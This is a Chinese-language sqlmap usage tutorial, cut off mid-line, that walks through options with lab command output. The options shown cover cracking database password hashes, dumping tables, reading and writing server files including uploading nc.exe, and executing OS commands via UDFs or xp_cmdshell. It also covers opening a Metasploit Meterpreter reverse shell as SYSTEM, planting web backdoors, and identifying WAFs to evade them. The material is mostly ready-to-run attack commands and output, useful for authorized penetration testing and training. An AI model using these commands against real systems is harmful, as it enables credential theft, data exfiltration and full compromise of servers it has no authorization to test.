时间:2021-07-01 10:21:17 帮助过:11人阅读
参数:-current-user
在大多数据库中可以获取到管理数据的用户。
参数:--current-db
返还当前连接的数据库。
参数:--is-dba
判断当前的用户是否为管理,是的话会返回True。
参数:--users
当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
参数:--passwords
当前用户有权限读取包含用户密码的表的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1 [...] back-end DBMS: PostgreSQL [hh:mm:38] [INFO] fetching database users password hashes do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y [hh:mm:42] [INFO] using hash method: ‘postgres_passwd‘what‘s the dictionary‘s location? [/software/sqlmap/txt/wordlist.txt] [hh:mm:46] [INFO] loading dictionary from: ‘/software/sqlmap/txt/wordlist.txt‘do you want to use common password suffixes? (slow!) [y/N] n [hh:mm:48] [INFO] starting dictionary attack (postgres_passwd) [hh:mm:49] [INFO] found: ‘testpass‘ for user: ‘testuser‘[hh:mm:50] [INFO] found: ‘testpass‘ for user: ‘postgres‘database management system users password hashes: [*] postgres [1]: password hash: md5d7d880f96044b72d0bba108ace96d1e4 clear-text password: testpass [*] testuser [1]: password hash: md599e5ea7a6f7c3269995cba3927fd0093 clear-text password: testpass
可以看到sqlmap不仅识别出数据库的用户跟密码,同时也识别出是PostgreSQL数据库,并询问用户是否采用字典爆破的方式进行破解,这个爆破已经支持Oracle和Microsoft SQL Server。
也可以提供-U参数来指定爆破哪个用户的hash。
参数:--privileges
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。
参数:--roles
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。
仅适用于当前数据库是Oracle的时候。
参数:--dbs
当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。
参数:--tables,--exclude-sysdbs,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。
如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。
--exclude-sysdbs参数是指包含了所有的系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。
参数:--columns,-C,-T,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。
如果没有使用-D参数指定数据库时,默认会使用当前数据库。
列举一个SQLite的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name [...] Database: SQLite_masterdb Table: users [3 columns] +---------+---------+ | Column | Type | +---------+---------+ | id | INTEGER | | name | TEXT | | surname | TEXT | +---------+---------+
参数:--schema,--exclude-sysdbs
用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。
加上--exclude-sysdbs参数,将不会获取数据库自带的系统库内容。
MySQL例子:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs [...] Database: owasp10 Table: accounts [4 columns] +-------------+---------+ | Column | Type | +-------------+---------+ | cid | int(11) | | mysignature | text | | password | text | | username | text | +-------------+---------+ Database: owasp10 Table: blogs_table [4 columns] +--------------+----------+ | Column | Type | +--------------+----------+ | date | datetime | | blogger_name | text | | cid | int(11) | | comment | text | +--------------+----------+ Database: owasp10 Table: hitlog [6 columns] +----------+----------+ | Column | Type | +----------+----------+ | date | datetime | | browser | text | | cid | int(11) | | hostname | text | | ip | text | | referer | text | +----------+----------+ Database: testdb Table: users [3 columns] +---------+---------------+ | Column | Type | +---------+---------------+ | id | int(11) | | name | varchar(500) | | surname | varchar(1000) | +---------+---------------+ [...]
参数:--count
有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。
列举一个Microsoft SQL Server例子:
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb [...] Database: testdb +----------------+---------+ | Table | Entries | +----------------+---------+ | dbo.users | 4 | | dbo.users_blob | 2 | +----------------+---------+
参数:--dump,-C,-T,-D,--start,--stop,--first,--last
如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取整个表的所有内容。
使用-D,-T参数指适定想要获取哪个库的哪个表,不用-D参数时,默认使用当前库。
列举一个Firebird的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users [...] Database: Firebird_masterdb Table: USERS [4 entries] +----+--------+------------+ | ID | NAME | SURNAME | +----+--------+------------+ | 1 | luther | blisset | | 2 | fluffy | bunny | | 3 | wu | ming | | 4 | NULL | nameisnull | +----+--------+------------+
可以获取指定库中的所有表的内容,只用-dump跟-D参数(不使用-T与-C参数)。
也可以用-dump跟-C获取指定的字段内容。
sqlmap为每个表生成了一个CSV文件。
如果你只想获取一段数据,可以使用--start和--stop参数,例如,你只想获取第一段数据可hi使用--stop 1,如果想获取第二段与第三段数据,使用参数 --start 1 --stop 3。
也可以用--first与--last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用--first 3 --last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。
参数:--dump-all,--exclude-sysdbs
使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。
参数:--search,-C,-T,-D
--search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。
可以在一下三种情况下使用:
-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。 -T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名 -D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。
参数:--sql-query,--sql-shell
sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。
如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。
列举一个Mircrosoft SQL Server 2000的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT ‘foo‘" -v 1 [...] [hh:mm:14] [INFO] fetching SQL SELECT query output: ‘SELECT ‘foo‘‘[hh:mm:14] [INFO] retrieved: foo SELECT ‘foo‘: ‘foo‘$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT ‘foo‘, ‘bar‘" -v 2 [...] [hh:mm:50] [INFO] fetching SQL SELECT query output: ‘SELECT ‘foo‘, ‘bar‘‘[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: foo [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: bar [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds SELECT ‘foo‘, ‘bar‘: ‘foo, bar‘
参数:--common-tables
当使用--tables无法获取到数据库的表时,可以使用此参数。
通常是如下情况:
1、MySQL数据库版本小于5.0,没有information_schema表。 2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。 3、当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。
列举一个MySQL 4.1的例子:
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner [...] [hh:mm:39] [INFO] testing MySQL [hh:mm:39] [INFO] confirming MySQL [hh:mm:40] [INFO] the back-end DBMS is MySQL [hh:mm:40] [INFO] fetching banner web server operating system: Windows web application technology: PHP 5.3.1, Apache 2.2.14 back-end DBMS operating system: Windows back-end DBMS: MySQL < 5.0.0 banner: ‘4.1.21-community-nt‘[hh:mm:40] [INFO] checking table existence using items from ‘/software/sqlmap/txt/common-tables.txt‘[hh:mm:40] [INFO] adding words used on web page to the check list please enter number of threads? [Enter for 1 (current)] 8 [hh:mm:43] [INFO] retrieved: users Database: testdb [1 table] +-------+ | users | +-------+
参数:--common-columns
与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。
参数:--udf-inject,--shared-lib
你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。
参数:--file-read
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。
列举一个Microsoft SQL Server 2005的例子:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1 [...] [hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2000 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft SQL Server 2005 [hh:mm:50] [INFO] fetching file: ‘C:/example.exe‘[hh:mm:50] [INFO] the SQL query provided returns 3 entries C:/example.exe file saved to: ‘/software/sqlmap/output/192.168.136.129/files/C__example.exe‘[...] $ ls -l output/192.168.136.129/files/C__example.exe -rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe $ file output/192.168.136.129/files/C__example.exe output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
参数:--file-write,--file-dest
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。
列举一个MySQL的例子:
$ file /software/nc.exe.packed /software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit $ ls -l /software/nc.exe.packed -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 [...] [hh:mm:29] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 or 2008 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: MySQL >= 5.0.0 [...] do you want confirmation that the file ‘C:/WINDOWS/Temp/nc.exe‘ has been successfully written on the back-end DBMS file system? [Y/n] y [hh:mm:52] [INFO] retrieved: 31744 [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, same size as the local file ‘/software/nc.exe.packed‘
参数:--os-cmd,--os-shell
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。
那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。
列举一个PostgreSQL的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1 [...] web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: PostgreSQL [hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:12] [INFO] the back-end DBMS operating system is Linux [hh:mm:12] [INFO] testing if current user is DBA [hh:mm:12] [INFO] detecting back-end DBMS version from its banner [hh:mm:12] [INFO] checking if UDF ‘sys_eval‘ already exist [hh:mm:12] [INFO] checking if UDF ‘sys_exec‘ already exist [hh:mm:12] [INFO] creating UDF ‘sys_eval‘ from the binary UDF file [hh:mm:12] [INFO] creating UDF ‘sys_exec‘ from the binary UDF file do you want to retrieve the command standard output? [Y/n/a] ycommand standard output: ‘uid=104(postgres) gid=106(postgres) groups=106(postgres)‘[hh:mm:19] [INFO] cleaning up the database management system do you want to remove UDF ‘sys_eval‘? [Y/n] y do you want to remove UDF ‘sys_exec‘? [Y/n] y [hh:mm:23] [INFO] database management system cleanup finished [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually
用--os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。
当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来创建一个web后门。支持的语言:
1、ASP 2、ASP.NET 3、JSP 4、PHP
参数:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它:
1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。 2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。 3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。 4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof
列举一个MySQL例子:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit [...] [hh:mm:31] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 back-end DBMS: MySQL 5.0 [hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:31] [INFO] the back-end DBMS operating system is Windows how do you want to establish the tunnel? [1] TCP: Metasploit Framework (default) [2] ICMP: icmpsh - ICMP tunneling > [hh:mm:32] [INFO] testing if current user is DBA [hh:mm:32] [INFO] fetching current user what is the back-end database management system architecture? [1] 32-bit (default) [2] 64-bit > [hh:mm:33] [INFO] checking if UDF ‘sys_bineval‘ already exist [hh:mm:33] [INFO] checking if UDF ‘sys_exec‘ already exist [hh:mm:33] [INFO] detecting back-end DBMS version from its banner [hh:mm:33] [INFO] retrieving MySQL base directory absolute path [hh:mm:34] [INFO] creating UDF ‘sys_bineval‘ from the binary UDF file [hh:mm:34] [INFO] creating UDF ‘sys_exec‘ from the binary UDF file how do you want to execute the Metasploit shellcode on the back-end database underlying operating system? [1] Via UDF ‘sys_bineval‘ (in-memory way, anti-forensics, default) [2] Stand-alone payload stager (file system way) > [hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode which connection type do you want to use? [1] Reverse TCP: Connect back from the database host to this machine (default) [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535 [3] Bind TCP: Listen on the database host for a connection > which is the local address? [192.168.136.1] which local port number do you want to use? [60641] which payload do you want to use? [1] Meterpreter (default) [2] Shell [3] VNC > [hh:mm:40] [INFO] creation in progress ... done [hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait.. _ | | o _ _ _ _ _|_ __, , _ | | __ _|_ / |/ |/ | |/ | / | / \_|/ \_|/ / \_| | | | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/ /| \| =[ metasploit v3.7.0-dev [core:3.7 api:1.0] + -- --=[ 674 exploits - 351 auxiliary + -- --=[ 217 payloads - 27 encoders - 8 nops =[ svn r12272 updated 4 days ago (2011.04.07) PAYLOAD => windows/meterpreter/reverse_tcp EXITFUNC => thread LPORT => 60641 LHOST => 192.168.136.1 [*] Started reverse handler on 192.168.136.1:60641 [*] Starting the payload handler... [hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF ‘sys_bineval‘, please wait.. [*] Sending stage (749056 bytes) to 192.168.136.129 [*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 hh:mm:52 +0100 2011 meterpreter > Loading extension espia...success. meterpreter > Loading extension incognito...success. meterpreter > [-] The ‘priv‘ extension has already been loaded. meterpreter > Loading extension sniffer...success. meterpreter > System Language : en_US OS : Windows .NET Server (Build 3790, Service Pack 2). Computer : W2K3R2 Architecture : x86 Meterpreter : x86/win32 meterpreter > Server username: NT AUTHORITY\SYSTEM meterpreter > ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 Intel(R) PRO/1000 MT Network Connection Hardware MAC: 00:0c:29:fc:79:39 IP Address : 192.168.136.129 Netmask : 255.255.255.0 meterpreter > exit [*] Meterpreter session 1 closed. Reason: User exit
默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。
参数:--reg-read
参数:--reg-add
参数:--reg-del
参数:--reg-key,--reg-value,--reg-data,--reg-type
需要配合之前三个参数使用,例子:
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
参数:-s
sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。
参数:-t
这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。
参数:--batch
用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
参数:--charset
不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:
--charset=GBK
参数:--crawl
sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。
例子:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3 [...] [xx:xx:53] [INFO] starting crawler [xx:xx:53] [INFO] searching for links with depth 1 [xx:xx:53] [WARNING] running in a single-thread mode. This could take a while [xx:xx:53] [INFO] searching for links with depth 2 [xx:xx:54] [INFO] heuristics detected web page charset ‘ascii‘ [xx:xx:00] [INFO] 42/56 links visited (75%) [...]参数:--csv-del
当dump保存为CSV格式时(--dump-format=CSV),需要一个分隔符默认是逗号,用户也可以改为别的 如:
--csv-del=";"
参数:--dbms-cred
某些时候当前用户的权限不够,做某些操作会失败,如果知道高权限用户的密码,可以使用此参数,有的数据库有专门的运行机制,可以切换用户如Microsoft SQL Server的OPENROWSET函数
参数:--dump-format
输出的格式可定义为:CSV,HTML,SQLITE
参数:--eta
可以计算注入数据的剩余时间。
例如Oracle的布尔型盲注:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta [...] [hh:mm:01] [INFO] the back-end DBMS is Oracle [hh:mm:01] [INFO] fetching banner [hh:mm:01] [INFO] retrieving the length of query output [hh:mm:01] [INFO] retrieved: 64 17% [========> ] 11/64 ETA 00:19然后:
100% [===================================================] 64/64 [hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: Oracle banner: ‘Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod‘sqlmap先输出长度,预计完成时间,显示百分比,输出字符
参数:--flush-session
如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。
参数:--forms
如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过--data参数测试。 但是当使用--forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。
参数:--fresh-queries
忽略session文件保存的查询,重新查询。
参数:--hex
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:
针对PostgreSQL例子:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors [...] [xx:xx:14] [INFO] fetching banner [xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC) [xx:xx:15] [INFO] parsed error message: ‘pg_query() [<a href=‘function.pg-query‘>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>‘ [xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2 [...]参数:--output-dir
sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp
参数:--parse-errors
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用此参数可以显示出错误信息。
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors [...] [11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [11:12:17] [INFO] parsed error message: ‘Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>‘ [11:12:17] [INFO] parsed error message: ‘Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>‘ [11:12:17] [INFO] parsed error message: ‘Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>‘ [11:12:17] [INFO] target URL appears to have 3 columns in query [...]参数:-z
有使用参数太长太复杂,可以使用缩写模式。 例如:
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"
可以写成:
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"
还有:
python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"
可以写成:
python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"
参数:--alert
参数:--answers
当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子:
$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch [...] [xx:xx:56] [INFO] testing for SQL injection on GET parameter ‘id‘ heuristic (parsing) test showed that the back-end DBMS could be ‘MySQL‘. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y [xx:xx:56] [INFO] do you want to include all tests for ‘MySQL‘ extending provided level (1) and risk (1)? [Y/n] N [...]参数:--beep
发现sql注入时,发出蜂鸣声。
参数:--check-waf
WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试
例如:
&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1
如果有保护的话可能返回结果会不同。
参数:--cleanup
清除sqlmap注入时产生的udf与表。
参数:--desable-coloring
sqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。
参数:--gpage
默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。
参数:-hpp
HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。
参数:--identify-waf
sqlmap 可以尝试找出 WAF/IPS/IDS 保护,方便用户做出绕过方式。目前大约支持30种产品的识别。
例如对一个受到ModSecurity WAF保护的MySQL例子:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3 [...] [xx:xx:23] [INFO] testing connection to the target URL [xx:xx:23] [INFO] heuristics detected web page charset ‘ascii‘ [xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘USP Secure Entry Server (United Security Providers)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘BinarySEC Web Application Firewall (BinarySEC)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Hyperguard Web Application Firewall (art of defence Inc.)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Cisco ACE XML Gateway (Cisco Systems)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘TrafficShield (F5 Networks)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘KONA Security Solutions (Akamai Technologies)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Incapsula Web Application Firewall (Incapsula/Imperva)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘CloudFlare Web Application Firewall (CloudFlare)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Barracuda Web Application Firewall (Barracuda Networks)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘webApp.secure (webScurity)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Proventia Web Application Security (IBM)‘ [xx:xx:23] [DEBUG] declared web page charset ‘iso-8859-1‘ [xx:xx:23] [DEBUG] page not found (404) [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘KS-WAF (Knownsec)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘NetScaler (Citrix Systems)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Jiasule Web Application Firewall (Jiasule)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘WebKnight Application Firewall (AQTRONIX)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘AppWall (Radware)‘ [xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘ModSecurity: Open Source Web Application Firewall (Trustwave)‘ [xx:xx:23] [CRITICAL]WAF/IDS/IPS identified ‘ModSecurity: Open Source Web Application Firewall (Trustwave)‘.
Please consider usage of tamper scripts (option ‘--tamper‘)
[...]
参数:--mobile
有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile [...] which smartphone do you want sqlmap to imitate through HTTP User-Agent header? [1] Apple iPhone 4s (default) [2] BlackBerry 9900 [3] Google Nexus 7 [4] HP iPAQ 6365 [5] HTC Sensation [6] Nokia N97 [7] Samsung Galaxy S > 1 [...]参数:--purge-output
有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。
例如:
$ python sqlmap.py --purge-output -v 3 [...] [xx:xx:55] [INFO] purging content of directory ‘/home/user/sqlmap/output‘... [xx:xx:55] [DEBUG] changing file attributes [xx:xx:55] [DEBUG] writing random data to files [xx:xx:55] [DEBUG] truncating files [xx:xx:55] [DEBUG] renaming filenames to random values [xx:xx:55] [DEBUG] renaming directory names to random values [xx:xx:55] [DEBUG] deleting the whole directory tree [...]参数:--smart
有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。
例子:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart [...] [xx:xx:14] [INFO] testing if GET parameter ‘ca‘ is dynamic [xx:xx:14] [WARNING] GET parameter ‘ca‘ does not appear dynamic [xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter ‘ca‘ might not be injectable [xx:xx:14] [INFO] skipping GET parameter ‘ca‘ [xx:xx:14] [INFO] testing if GET parameter ‘user‘ is dynamic [xx:xx:14] [WARNING] GET parameter ‘user‘ does not appear dynamic [xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter ‘user‘ might not be injectable [xx:xx:14] [INFO] skipping GET parameter ‘user‘ [xx:xx:14] [INFO] testing if GET parameter ‘id‘ is dynamic [xx:xx:14] [INFO] confirming that GET parameter ‘id‘ is dynamic [xx:xx:14] [INFO] GET parameter ‘id‘ is 